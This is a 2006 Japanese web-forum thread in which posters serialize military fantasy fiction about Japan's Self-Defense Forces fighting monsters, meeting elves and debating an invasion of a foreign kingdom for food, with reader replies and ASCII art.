救援に駆けつけた車両群の圧倒的な火力により“瞬時に”瓦解する“はず”だった。
鬼の群は戦車主砲によりその圧倒的な肉体を跡形も無く消滅させられ、
亜人種の群は装甲車群の機銃掃射により、幾重にも薙ぎ倒されていた。
そんな火力を前にして、どうして“この”原始的な怪物の群如きが、崩壊しない訳があるだろう。
しかし現実は、その予想の遥かナナメ上をいっている・・。
 たしかに、下手な原付をも上回る速度で巨大な戦車が戦場を駆け抜け、
装甲車達は亜人種の群を思うままに蹂躙・分断している。ー 完璧じゃないか。
 しかし、ここの外縁を護る兵の弾数の十倍ではすまない“彼ら”は、
1時は壊乱して逃げ惑う形になりながらも、
背後から押し寄せる同種族に押し返されて、また、突っ込んでくる。
 この“敵”の数と勢いに、救出された重傷者達の警護を取り仕切っている本田は、
外縁を死守している隊員が次々に弾切れを起こす状況を早期に予測、
今、立てる隊員総てを外縁に増援する決断を決意していた。
「 隊長殿でありますか? 」息がようやく落ち着いてきた今井が、本田の後ろから呼びかける。
「 ・・・ 」本田が、ゆっくりと今井に振り返る。
「 今のうちに重傷者達を、もっと後方に下げるべきです 」
「 ・・・ 」本田は、今井を見つめている。
この市民は、何の権限があってオレに話し掛けているのだろう?
「 大丈夫です。危ないから後ろに下がっていてください。 」
「 ・・今なら、何があっても間に合います・・ 」「 ・・・・・・ 」
本田は、融通の利かない男ではあったが、
自分が“自衛官で公務員”という事実を1瞬たりとも忘れた事はなかった。
・・冷静に市民の声に、(いちおう)耳を傾ける事にする。
・・たしかに、何があっても大丈夫な様に、後方に下げておくべきかもしれない・・。
しかしそのためには、防壁代わりのトラック群を動かす事になるのだ。
そしてそれは、強力な支援火力をも(1時的に)手放す事に、なる。
( どうしたものか。)思案に暮れて本田は空を見上げて、今井に向き直った。

224 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/08(木) 21:31:23 ID:???

続き、投下終了〜。1時間寝て仕事いってきますw m()m

225 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/09(金) 00:58:47 ID:???

西暦2020年1月14日 20:10 隣の大陸 陸上自衛隊大陸派遣隊第一基地 外務省臨時出張所

「はじめまして、オリーブドラブ人界全権大使閣下。
 この基地の司令を勤める、吉永健三一等陸佐です。以後お見知りおきを」
「こちらこそよろしくお願いしますヨシナガさん」

 臨時出張所には基地司令を始め、陸海空のこの大陸における責任者と外務省から来たらしいスーツの男が揃っていた。
 互いににこやかに挨拶し、そして椅子に腰掛ける。

「早速ですが、本日のご用件は?」
「第三氏族と話をつけてきました。今後、聖なる森の周辺で用なく火を焚かない事を条件に、先の戦闘に関しては不問とするそうです」
「ほう?それはありがたい。ちなみに、用なく、というのは?」
「戦死者を弔う時や、料理、それから照明などですね」
「私の元に入っている情報では、あなた方は随分と火がお嫌いなようですが」

 先日作成した報告書を見つつ、吉永一佐が言う。

「私たちは確かに火は嫌いですが、さすがに人間に生活するな、とまで指示するような立場ではありませんから。
 それに、我々エルフとて火で明かりを、暖を取りますし、料理で火を使い、死者を火葬します。
 私たちだけ良くて、あなた方人間はダメというのは通らないでしょう」
「いやまったく、そう言って頂けるとありがたい!」

 吉永一佐との会話に突然外務省の男が割り込んできた。
 周囲の自衛官たちからは冷たい視線が注がれるが、どうやら彼は気にしないようだ。

226 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/09(金) 01:04:02 ID:???

「あなたは?」

 シャーリーンが不思議そうに見る。

「ああ、これは申し遅れました。
 私、外務省新大陸課の鈴木と申します。
 エルフの皆さんとの交渉は、今後全て我々外務省の人間が担当いたします。
 どうか、よろしくお願いいたします」

 いきなり喧嘩を吹っかけてきたな、おい。
 居並ぶ自衛官たちの表情が硬くなっていく。

「あらそうなんですか?それではよろしくお願いします。
 それで、早速ですが先ほどの件については?」
「ええ、ええ、直ぐに条約に調印いたしますとも。何か証文のようなものはありますか?」

 二人の会談は俺たちを除外して順調に進んでいく。
 いや、まあ外交を外交官が行うのは当然だから別にいいんだ。
 ただなぁ、こうも露骨に線引きをされると、気分的に面白くない。

227 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/09(金) 01:07:22 ID:???

「これです」

 シャーリーンは、その豊かな胸元から一枚の妙な紙を取り出し、机の上に置く。
 凄い場所から取り出すな。
 なになに?誓約書、双方は・・・っておい。
 これ、アルファベットじゃないか!

「!!あ、ああ、なるほど、ここに私の名前を書けばいいのですね?」

 ペンで『書名欄』と書かれたところを指しつつ鈴木が尋ねる。
少し動揺しているところを見ると、

「そうです」
「では早速・・・はい、どうぞ」
「ありがとうございます。先の不幸な出来事は互いに忘れ、よりより明日のために生きていきましょう」
「全く同意します。それでですね、この件はこれで終わりとしまして、いくつか伺いたい事があるのですが・・・」
「構いませんよ。何でしょうか?」

 立ち並ぶ俺たち下っ端や、椅子に座ったままの佐官たちをそのままに、鈴木はこの世界についての質問を始めた。

228 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/09(金) 01:09:39 ID:???

同日 22:40 隣の大陸 陸上自衛隊大陸派遣隊第一基地 正面ゲート監視塔

「お疲れ様であります三尉殿」
「ああ、本当に疲れた」

 監視塔に戻った俺を、三曹と眠そうな部下たちが迎えてくれた。
 すぐさまコーヒーが人数分用意され、振舞われる。

「それで、交渉はどうでした?」
「担当が外務省に移ったんだが、退出が促されなかったおかげで二時間立ちっぱなしだよ。
 だが、非常に興味深い情報を大量に得たよ」
「おお、それは素晴らしいですな、それで、例えば?」

 現在休憩中の両者の対談は、素晴らしい成果を着々と挙げつつある。
 まずはこの世界、どうも地動説が主流らしいが、いくつかの大陸と国家があることはわかっているらしい。
 まあこれは本土からの情報で、人工衛星が壊れずに稼動し続けている事から、地球に酷似した惑星である事が判明しているからどうでもいい。
 俺たちがいるのはゴルソンという大陸の東の果て、エルフの国家共同体のようなものがある『聖なる森』のすぐそばらしい。
 東に俺たちの駐屯地、位置関係を考えるならば、それよりも更に東に進むと本土がある。 
 逆に、森を挟んで西には連合王国と呼ばれる国があるそうだ。
 何でも昔にエルフと揉めたらしく、詳しい情報は不明とのこと。
 森の南には砂漠が広がっているらしく、入った者の命を奪う毒の沼地があちこちに広がっているらしい。
 森を抜けて北に向かうと、しばらくは草原が、さらにその先には岩場が広がっているとのこと。
 その先に何があるかは調べた事がないそうだ。

229 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/09(金) 01:13:46 ID:???

「となると、この大陸とやらには、エルフとか言う連中と、その連合王国とやらしかいないってことですか?」
「そうなるな。開拓団と大規模な増援、どうやら、政府は満州国をもう一度作る気なのかもしれんな」
「冗談じゃありませんぜ三尉殿」

 肩をすくめつつ三曹は言った。

「あの森を見てください、今すぐにでも自然保護区にしたくなるような立派な森だ」
「木を大切にしましょう?」
「まさかまさか、自分が言いたいのは、自分たちにはベトナム戦争パート2をやるような余裕はないし、そんな装備も持っていないということです。
 大体、食料も燃料も余裕がないのにそんな事は出来ないでしょう」
「となると、北を開拓か」
「本当に満州国パート2か」

 まぁ、どっちにしろ俺たちに選択権はないか。
 日本の食料自給率は低い。
 頑張ってシムシティするにしろ、連合王国とやらとドンパチやって略奪するにしろ、早くしないと選択肢が狭まるどころか国が崩壊する。
 やれやれ、これは面倒だ。
 悩む自由はあるのに、行動に自由がないのがさらに面倒だ。
 何しろ俺たちは特別職国家公務員。
 上から命令されれば、どんな善行も、悪行もしなければならない。
 そして、現在の国の状況は、このまま座視すれば、緩慢な死を待たねばならない状態。
 ならば、と誰もが考える状態だ。
 この先何を命じられるのかは、考えるまでも無いだろう。
 実に面倒だ。

230 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/09(金) 01:17:29 ID:???

同日同時刻 陸上自衛隊大陸派遣隊第一基地 司令官室

「やれやれ、驚きましたよ」

 煙草を吸いつつ鈴木が言う。
 一時休憩という事で、彼は自衛官たちと共にこの部屋に来ていた。
 彼の失言により、上は一佐から下は一士まで、到着時にあった好意的な印象は欠片も残っていない。
 しかし、同期や恩人や恋人を、容赦の無い流言や陰謀で陥れてまで昇格をし続けた彼は、そこを気にするような男ではなかった。

「まさかこんな世界できちんとした英語の文章を見る事になるとはね。
 皆さんもあれを見たでしょう?」
「彼女が持っていた外交文章ですな」
「そうです、あれは文法もアルファベットの形も完璧な英語です。
 まぁ言語の形として完成度が高いとかいう話はどっかで読みましたし、そんなこともあるんでしょうなぁ。
 それよりも」

 煙草を灰皿に押し付け、鈴木はにこやかに尋ねた。

「彼女たちのレベルの武装をしている相手に、皆さんはどれくらいの期間で戦争を終わらせられますか?」

 一気に室温が下がる。
 
「私の見たところ、彼女たちの文明は銃器など持っていないでしょう。
 よくて18世紀、下手をすればそれよりも昔、その程度の文明でしょう。
 ありったけの装備と補給、それと米軍の支援。
 それで皆さんは、どれくらいの期間で戦争を終わらせられますか?」
「ちょ、ちょっと待ってくれ、いきなり何を言っているんだ?」

 オーバーなアクションをしつつ、吉永一佐が遮った。
 ついさっき停戦交渉が済んだばかりの相手と戦争?
 この男は何を言っているんだ?

231 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/09(金) 01:32:01 ID:???

「別に彼女たちと戦争をしようというのではありません。
 森林地帯では空爆の効力は低いでしょうし、陸上部隊の投入は危険すぎますからね。
 それよりも、連合王国とやらですよ」

 二本目の煙草に火をつけつつ、鈴木は笑顔のまま続けた。

「聞けば、連合王国は港を持っているそうですし、都合がいいことに、王都はその港町にあるとの事。
 陸海空の総力と、アメリカ海兵隊の増援をもってすれば楽勝ですよね?」
「そ、それはまあ、あのレベルの技術力しか持っていないと仮定すれば、問題はない。
 だがしかしね、会った事もない相手といきなり戦争というのはどういうことなんだ?」
「簡単な話ですよ」

 紫煙を吹き出しつつ、鈴木は言った。

「日本は、大規模な食糧の確保が今年度中に出来なかった場合、崩壊します」

 彼の言葉は、室内を静まり返らせるのに十分だった。

「もちろん事前に交渉はします。
 我々外務省の人間は、食料買い付けのために世界中を駆け巡る予定ですし、開拓団には北の草原とやらを農地に変えてもらいます。
 ですが、それだけでは時間が足りないのです」
「だが、一時的な略奪では、今年度はしのげても、来年度は無理なんじゃないか?」
「仰るとおりです一佐殿。
 しかし、この冬を越せなければ、来年度の心配をする事もできない。
 大切なのは、今です。
 それに、開拓団だけでは人手が足りません。国民が必要としているのは、米だけではないのですから」

 吉永一佐は黙り、目の前にいる若い外務官僚を見た。
 我々が命を張る理由はわかった。
 文字通りの侵略戦争をしなければいけないことも。
 しかし、拒否する事はできない。
 軍人にとって、国民の命と国益ほど重い物はないからだ。

232 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/09(金) 01:39:13 ID:???

 それに、悪いほうばかりではない。
 事前に手を尽くして無理ならば、という但し書きがついている。
 現時刻をもって戦闘開始、というわけではないんだからな。

「まぁ、そういうことならば、まずは活発な偵察活動からですな。
 強襲上陸したはいいけれど、右も左もわからないでは戦いようがありませんから。
 一応確認しますが、本国からの許可を得ているんですよね?」
「もちろんです、私が今ここにいるのは、そちらの上、統合幕僚会議からの正式な依頼ですよ」
「ならば否応はありませんな。空自と海自の方もよろしいですか?」
「正式な命令が届き次第、ですな」
「明朝一番で偵察を出しましょう」

 あまり乗り気ではなさそうな一等海佐と、今すぐにでも出撃命令を下しそうな一等空佐が答える。
 階級が同一の指揮官がそれっている辺りが、この大陸派遣隊を取り巻く混乱した状況を表しているな。
 そんな事を考えつつ、鈴木は時計を見た。
 うん、そろそろ情報収集活動を再開しようか。
 ゆっくりと立ち上がる。
 同じ事を考えているらしい自衛隊指揮官たちも立ち上がる。
 彼らは、再び外務省臨時出張所へと向かった。

233 名前: 前スレ909 ◆XRUSzWJDKM 2006/06/09(金) 01:42:36 ID:???

本日は以上です。
なお、統合幕僚会議は、統合幕僚監部、に脳内変換していただけると幸せです。
ではでは

234 名前: 名無し三等兵 2006/06/09(金) 01:43:49 ID:???

リアルタイム乙

235 名前: 名無し三等兵 2006/06/09(金) 02:55:15 ID:???

元1続きまだかよ。
なめてんのか。

236 名前: 名無し三等兵 2006/06/09(金) 03:16:13 ID:???

>>235
長すぎるのでサイト開設して誘導URLを貼るだけにして欲しい強固の語呂。

237 名前: 名無し三等兵 2006/06/09(金) 06:23:34 ID:???

べつにここに書いてもOK

238 名前: 名無し三等兵 2006/06/09(金) 07:49:21 ID:???

>>235
一番なめてるのは>>235

239 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/09(金) 12:11:25 ID:???

遅滞に勤めながら、じっくりと待つべしでありますん。>元1様作品
それにしても前スレ909様の、スルスルと頭に入ってきますですね(゚∀゚)

240 名前: 名無し三等兵 2006/06/09(金) 13:00:39 ID:???

>>235
    カチャ
( ゚д゚) ;y=ー( ゚д゚)・∵;; . ターン
(|240|V   (|235|)


241 名前: 名無し三等兵 2006/06/09(金) 15:37:22 ID:???

>>240
Gj

242 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 12:24:37 ID:???

それでは恒例の昼食時間up
誤字脱字は御容赦を。m()m

243 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 12:36:55 ID:???

>>110-113 >>152-154 >>222-223

少し、躊躇うような時間があった。

やがて、本田は能面の様な顔で、静かに口を開いた。
「 申し訳無いですが駄目です。今、戦力を二分にするのは危険です。 」

それだけ言って、本田は押し黙ってしまった。
本田は“ 責任感の固まり ”といった表情で、静かに今井を見つめている。

( 彼の言う事は正しい )

今でさえ押されているのに、戦力を二分にしたらどうなるだろう?
十分予想された答えだっただけに、今井も大人しく引き下がる。
というか無責任・無権限の市民が、
どうして部下の命を預かる自衛官に、ああだこうだと言えるだろう。

( しかし・・・ )

戦車の主砲弾は、あと幾つだ?
装甲車両は?後方の砲列群は?
何より、目の前に展開している隊員達のは?

( どう考えても不味い )

1般市民の今井が恐れる位なのだから、
きびすを返して部下に色々指示し始めている“ 彼 ”には、
前衛が弾切れを起こす時間まで読めているのに違いないのだが・・。

244 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 12:41:21 ID:???

( ここで、死ぬのか )

今井は天を仰いだ。
今井の後ろでは、無数の重傷者達が、うめいている。
その傍で、婦人自衛官達が甲斐甲斐しく世話をしている。

みれば、婦人自衛官達はみな学生といった年齢のようだ。
( 就職難なんだなあ )
と、場違いな呑気な思いが1瞬だけ頭を掠める。

その、学生のように若い婦人自衛官達の中で、
3人の娘が、なぜかやたらと今井の目にちらついている。

1人は、大きな丸い目がねをした儚(はかな)げな乙女だった。
奥手で臆病そうな文系、
といった雰囲気が、野郎ドモのハートを鷲掴みしそうな。
「 い、痛いところはなないですかかかか 」
と、脅え混じりに語り掛けるその声は、その体同様、震えに震えている。
・・・ゾンビじみた姿になった人間を前にすれば、誰でもそうなるが・・・
・・・つか、怪我人に痛いところもないだろう・・・;orz

245 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 12:47:30 ID:???

1人は、芯の強そうな勝気な乙女だった。
「 大の大人が泣かないで!!!! 」
今にもピシャリと、やってしまいそうな勢いで乙女は、
今井ら男がすら腰砕けになりそうな程の重傷人達を、
キリキリと手際よく(包帯を巻いては)次に次にと、捌いて飛び回っている。
・・姫百合部隊の乙女達は、歴戦の兵士顔負けの健気さだったと聞くが、
・・あれがそうなのかもしれないなあ。。。

1人は、女子達の頭格なのか、実にシッカリとしている。
・・まるで本物の手馴れた看護婦の様だった。
「 大丈夫ですよ、今、お医者様が着ますからね 」
と、1人1人、患者の手をしっかりと両手に包んで話し掛けるその声は、
まるで天使の様に、優しい。
( ・・まるで・・本物のナイチンゲールだ )

足手まといになるのが解っている今井は、
重傷者の看護に加わる事なく、ただ彼女達の働きを見ているだけだった。
そして、しきりに隊長らしき人物(本田)に振り返る。
もっとも今井の視線を背中で受けている本田にしても、
圧倒的な責任感に押し潰されそうなのを、
“ここは、我々は、現状は”“ 大丈夫 ”だ、と、
体で示すかのように銃を構え、仁王立ちしているしかなかったのだが。

246 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 12:51:59 ID:???

昼の部、終了です。m()m
練りこまれていない流れ、語呂や文法上の間違いなど御容赦の程を。

247 名前: 名無し三等兵 2006/06/10(土) 18:57:19 ID:???

投下乙です。
文中にorzや;等を使うのはどうかと・・・


248 名前: 名無し三等兵 2006/06/10(土) 19:30:09 ID:???

考える時にそういう顔文字が浮かんでしまうチャネラーなんでしょう;P

249 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 20:36:51 ID:???

>>247
すみません。どんどん突っ込んで治してやってください。m()m
>>248
まさしくそのとおりw

では、夜の部投下です。m()m

250 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 20:41:45 ID:???

 ( ・・やはり駄目だ )

流れを見れば、ここが早期に崩壊するのは目に見えている。
せめて、女子供と婦人自衛官だけでも。

「 隊長殿 」

今井と本田の映画さながらの救いのない問答が始まった。

「 今なら、全員が助かります 」
「 静かに。大丈夫です。危ないから下がって下さい 」

 ・・・実は、本田も今井と同じ事を、考えている。
ただ本田は、ここの責任者として、動くに動けない自衛官だった。
そんな2人の礼儀正しいが、永遠に対立するしかない問答は、不意に終了の時を迎えた。

 ここの外縁を死守している、あの化け物の様に化粧した男が、
弾幕を潜り抜けてきた騎士に、得物の銃を切断されたのだった。
「 斎藤! 」今井と本田が同時に駆けた。
本田はまるで転ぶような勢いで片膝をつき、射撃の姿勢を取っている。
今井は、その射線から1足横に飛んでから、得物の剣を騎士に投げつけた。
騎士は今井の剣を得物の槍で弾き落とすと同時に、
本田の銃弾を全身に浴びて、馬もろとも大地に倒れ伏して、動かない。
“ 化け物の様に化粧した男 ”が、此方に身を投げ出すように転がりこんでくる。
そこへ別の騎士が駆け込んできて白刃を叩き込んできた。
今井の最期の武器ーヘルメットーが投げつけられて・・
そしてその騎士も、本田に馬もろとも射殺されて、動かなくなった。
( 自衛隊って、実弾練習の機会も少なかったんじゃないのか??? )
 本田の射撃の技量に驚愕する今井だったが、
三人の武器は、今や本田の手にする銃器だけだった。

251 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 20:46:53 ID:???

 後方の婦人自衛官達と、外縁で今も奮戦中の各隊員の援護射撃の元、
3人がやっとの思いでトラック群の内側に転がり込む事が出来たのは、
しばらく後の事であった。
 最期は3人そろって討たれる所だった。
無事、トラック群の内側に転がり込んで、ようやく本田が口を開いた。

「 怪我は無いか? 」

「 御前に心配されるようじゃ、御仕舞いだな 」

その化粧(ドーラン)に塗(まみ)れた顔を右手で撫でながら
“ 斎藤 ”が返している。

( ・・・場違いな所にいるよなあ、、、 )

 2人の男っぽいやりとりを呆けて見つめながら、
今井は場違いな自分を再確認していた。
・・・その手には、抜け目無く( 先ほどの )騎士の槍を手にしている。
( 隙を見て、あの剣を取り戻さなきゃなあ )
もっとも、そのチャンスは永遠に訪れないかもしれない・・・。
今井の見つめるその場所は疾風の様に現れた軍勢によって、
今まで以上に手が付けられない混乱が巻き起こっていたから。

252 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 20:54:22 ID:???

武器は、隊長(本田)が持っている銃だけ。
周りからの支援の弾幕も間に合わぬ濃密な敵の戦力の前に、
今井どころか斎藤ですら死を覚悟した、その時。
1人の王らしい人物が勇猛な軍勢を率いて、
亜人種の群の後方に疾風の如く突っ込んできたのだった。

( 相当、実戦馴れしている・・! )

逃げる事も忘れて今井は、彼らの活躍に目を見張った。
今井ばかりでなく、そこに居る総ての人間が彼らの活躍に目を見張っていた。
その王と軍勢の強さたるや、銃器の有利無しでも圧倒的だった。
特にその王らしき人物の剣の腕前は、始めてみる物凄さだった。
( 1、2、3、凄・・・まるで大人と赤子の殺し合いだ・・・ )
亜人種達の群が、まるで紙か藁人形かの様に切り倒されている。
数える端から眉間を突かれ、頭蓋を割られ、死体の山になっていく。

“ 王 ”の左右を駆ける1人の剣士と美しい少女のペアも、また、凄い。

特に美しい少女 ー 耳が異様に長い ー は、まるで神話の女神の様だった。
信じ難い事に、彼女にだけは弓矢が1本たりとも到達していなかったのだった。
金の髪と青いマントが暗がりの空にも鮮やかに翻(ひるがえ)る。
( ・・成る程。ここは神話の世界か )
認めざるを得ない。何だあの不自然さは?まるでバリアじゃないか。
弓矢を無効化する術は魔法以外に無いだろう。ならば・・・本物のエルフか・・・。

253 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 20:59:28 ID:???

亜人種の群の背後で、何の前触れも無しに炎の爆発が起き始めた。
爆発に巻き込まれた亜人種達のこげた肉片が此方まで飛んできた。
( いったい、何が起きている???? )
その爆発には、外縁で奮戦していた各隊員達も、
唖然として目を(1瞬だが)見張るしかなかった。
( ・・魔法だな・・これこそ魔法で間違いない・・本当にあったとは・・ )
突然現れた軍勢の強さと始めてみる魔法に驚きつつ、

今井が本田に性懲りも無く囁く。
「 今のうちに砲列まで退きましょう。 」

本田は今井の方を見ないで、じっと戦局を睨んでいる。
今井に言われるまでも無く、今がチャンスだと本田も考えている。
・・・しばらくの沈黙の後、本田が振り返って今井の後ろへと声をかけた。
「 南君、田中君と相馬達をつれて、市民の後送を頼む。」

きょとん、とする今井の横に、例の3人の乙女がやってきた。
・・・こうして今井と重傷を負った市民達は
( 重傷具合と女子供から )順序良く婦人自衛官達の運転するトラックに揺られて、
自走155ミリ砲等が並ぶ“後方”へと、下がっていった。

254 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 21:09:11 ID:???

 自走155ミリ砲等は、南に相当下がった線で砲列を並べていた。
幸いな事に、砲のあるエリアは転移初期から無風状態であった。
それを利して自走砲達は更に南に下がり、今、砲撃を敵陣へと叩き込んでいる。

 その砲列の後ろへ婦人自衛官の運転するトラックが、ピストン運動で市民を降ろしてゆく。
その間今井は、婦人自衛官に混じって重傷市民の運搬に参加していた。
今井は身の回りの婦人自衛官の頭格らしい南嬢の依頼で、
相馬嬢という、大きな丸い目がねをした乙女と組む事になった。

 相馬嬢は・・今もガチガチガチガチと振る続けている。
・・こんな儚(はかな)げな娘が、どうして自衛隊にいるんだろう・・
怪我人をトラックから降ろす(今井が車外で怪我人を抱きとめる)作業をしながら、
ふと気の毒に・・・いやいやいや・・・自由意志で入った娘に、赤の他人が何が気の毒と・・・。

 その横では南嬢と田中嬢が、本当にテキパキと仕事を進めていく。
( 相馬嬢に比べると、こちらは本当に男顔負けだなあ・・ )
ペアを組んでいる可憐な相馬嬢を気の毒に思いながら作業する今井の頭の上で
強烈なジェット音を上げて美しい機影が北の空へと飛んでいく。

・・・とうとう、航空自衛隊が空爆を始めたようだ・・・。

255 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 21:18:31 ID:???

 もっとも1般人の今井には、
F−15Jも、F−4EJ(改)も、F−2も見分けがつかない。
( 今頃戦場は、凄い事になっているのだろうなあ・・ )
 今井が空を見上げている間に、前線の車両群の殆どが戻ってきたようだ。
弾が尽きたのか、弾の余裕のあるうちに、
この世界の人間側と怪物側の争いを見極める事にしたのか、
・・それはまだ定かではないけれど・・こちら側は無事に、戦場から撤収しつつある。

 1台のトラックが此方に走ってきた。
あの本田氏( 相馬嬢に教えてもらった =今井 )が運転していて、
あの斎藤氏は、荷台の上で銃を千切れる様に振って此方に笑いかけている。
( 以外に、明るい方なのかもしれん )
先ほどの戦場では、最期まで表情の崩れたところを見れなかったのだが。
( 2人とも、無事だったんだなあ・・ )
見れば、外縁で奮戦していた隊員の殆どの顔が、荷台の上にあった。

陸自隊員の数も、市民の数も数え切れないが、とりあえず見知った人は無事だ。
空自が空爆を始めたのだから、今度こそあの怪物の群は消滅するだろう。
( そういや、あの王と剣士と少女はどうなったんだ??? )
今井の内心の懸念を他所に、
斎藤氏がトラックから勢いよく降りてきて、力強い握手をしてきた。斎藤氏のなんたる握力。

2人が生きている喜びを、なんと表現していいのか解らない今井だった。

256 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/10(土) 21:20:03 ID:???

急造夜の部、終了です。

257 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/11(日) 21:04:47 ID:???

んーと、日本異邦戦記の本編が全く進みませんorz
続きを書こうとしてるんだが、ネタが思いつかない状況で・・・(´・ω・`)

という事で即興で短編を。。。

日本異邦戦記の2次創作であるTrue/False ◆ItgMVQehA6殿の「知らぬ海」より



258 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/11(日) 21:14:53 ID:???

「南洋の朝」

 ここ南方諸島は、大きくわけて3つの群島からなる。
南方諸島最北端に位置する須磨環礁があるのは、北群島という。

 大陸南部の人々からすると南方諸島は田舎と行っても過言ではなく、
積極的に住みたいとは思わない所だった。
それにどの国からも見離されている土地でもあった。

 理由は簡単だった。
猫の額ほどの広さしかなく――勿論大陸諸国からみた感覚だ――、そ
れゆえに耕せる場所も少ない土地にどこも見向きしなかった。



259 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/11(日) 21:25:10 ID:???

 だから、この島々は単に南方諸島とだけ呼ばれ続けてきたのだった。

 だが、状況がある日突然一変する出来事がおきる。
日本アムデス戦役を直接の原因とする、日本の政府機関の進出である。

 無主の地であるこの南方諸島に進出し、領有してもそれほど困難では
ないと見られたし、なにより海洋資源の調査及び採取をするためにも、新
島だけでは心細かったというのもある。

 また、アムデス戦役は確かに終わったが、実のところ日本はアムデス
を退けただけで、アムデス本土まで攻めて行ったわけでもなかったから、
保険の意味でも、また前進防御拠点としても別の場所を必要としたのだ
った。

260 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/11(日) 21:36:38 ID:???

 そして、日本政府の思惑はある程度成功した。
南方諸島の領有化を行う事ができたのは大きい。
何より資源調査及び採取拠点として確保できたのだから。

 だが、ここで大きく躓く事となった。
実に簡単な事だ。
まともに港をおける島が1つしかなかったという事だった。
 そして、港を作るための土木工事を行う為に、本国から
各種建設機械を持ってこなければならなかったと言う事
である。

 ここで何が問題かというと、各種建設機械を持ってこよ
うにも、まともな港がないため、荷揚げする事ができない
と言う事だった。

 大陸では、既に大型船舶の入港ができるぐらいに拡充
されているのとは全く状況が違うのだった。

261 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/11(日) 21:45:24 ID:???

 そこで白羽の矢がたったのが陸上自衛隊施設部隊だった。
この部隊を海自輸送艦でもって運びこむ事となる。

 住んでいる人間も限られて島にしかおらず、また文句をいう
ような人間もいないため、港湾建設に専念できるのはありがた
いというものだ。

 難点はというと――実に簡単だった。娯楽がなかった。
だがら、隊員らは麻雀か釣り、もしくはビデオぐらいと後は、
定期的に輸送されてくる雑誌や親友や肉親からの手紙を読む
事しかなかった。


262 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/11(日) 22:02:28 ID:???

 そんな苦労をしながらも施設科は、どうにか岸壁を造り上げたのだった。
岸壁ができれば後は早い。
国と契約した建設事業者が乗り込んできたのだ。
施設科は民間と交代する事となった。

 そんな中で南方庁が新設され、南方諸島に置かれる事となる。
新設された南方庁に入る事となった職員の構成は、実に日本的といえた。
各省庁に総理大臣が要求したのは確かだったが、その後はおきまりの省
庁間の駆け引きによって、人間が南方庁に送り込まれることになる。

 農林水産省、経済産業省、国交省が積極的に人材を送り込んだのはいい
だろう。防衛庁が絡んできたのもまあいいだろう。
なにせ、日本本国からは最も離れた場所にあり、いつ近隣諸国が攻めよう
とするかもしれないからだ。
 
 意外だったのは、外務省だった。
誰もが外務省が積極的に人間を送り込んだ事に首を捻る事になった。

263 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/11(日) 22:09:00 ID:???

 しかし、外務省は自分たちの価値観でもって、南方庁に力を入れることに
したのだった。
理由は一つ。
いつ他国からの使節がくるかもしれない。とすれば、それは外務省の管轄
だろうと。
そして、よそ者に対して、外交をやらせるはずもない。ならば、そのような可性
がある南方庁に人間を送り込んだのである。

 そのような経緯を経ながら、当初の予定どおり南方庁はその本拠を南方諸島
においたのだった。

264 名前: 政府広報課改め大本営発表 ◆F2.iwy/iJk 2006/06/11(日) 22:10:24 ID:???

とりあえず、書き下ろし前編という事で。

あいかわらず、人間があんまりでない。。。

265 名前: 名無し三等兵 2006/06/11(日) 22:14:00 ID:???

元1だお早よ続き書け

266 名前: 名無し三等兵 2006/06/11(日) 22:42:20 ID:???


ふっ、一行も書けない者の戯言か

267 名前: 名無し三等兵 2006/06/11(日) 22:48:55 ID:???

だってそれ、あらすじだし

268 名前: 名無し三等兵 2006/06/11(日) 22:50:06 ID:???

せっかくだから大儀な言い回しにしようぜ?

元1だおー閣下。一同心より続報を待ちわびておりまする。
なにとぞ、なにとぞお声をお聞かせください。
閣下の一声で皆々心残りなく散って逝けますれば、せめてものお情けを―


うん、戯言だ

269 名前: 翡翠(星砂) ◆CabqPGtp5s 2006/06/11(日) 23:26:58 ID:???

政府殿乙です〜。っと元1氏は念入りの推敲をしているのですよきっと。。
私なんか思いついたのをただ投下しているだけですよて速いかわりにアレ。orz
モチついて待ちませう・・。

270 名前: 名無し三等兵 2006/06/11(日) 23:58:05 ID:???

           lヽ、            /ヽ                 
           i! ゙ヽ、       /  ゙i!      ..,, .,,.;;''⌒ヽ
            l    ゝ-─‐-/'    i!  , ,__,,;'"  "';    ,ノ
         ,/"             i!''"  ....゙'';;..,,;;  ,,Y"
        ,/'              〈         'i;;- 、,,  
 小官〜   i'/        \     'i,              ゙"ヽ、 
          i! ●     ●  #    ,'i               ゙)
        'i,:::  (__人__)    :::::::  ,/    '     ゙",;''i,-‐'"
     ,,-‐''"ヽ、           ,,-‐         ,..;;;゙"
    (    ,,, ''      ,,.-‐''"       ,,'"´``´
     ヽ,..-‐''    ,.-‐''"      ノ-‐''"´  
           (       ,. -'"  
             ヽ、,,.. -‐'''"  


271 名前: 名無し三等兵 2006/06/12(月) 00:02:33 ID:???

>>270
ウホッ 可愛ええ。

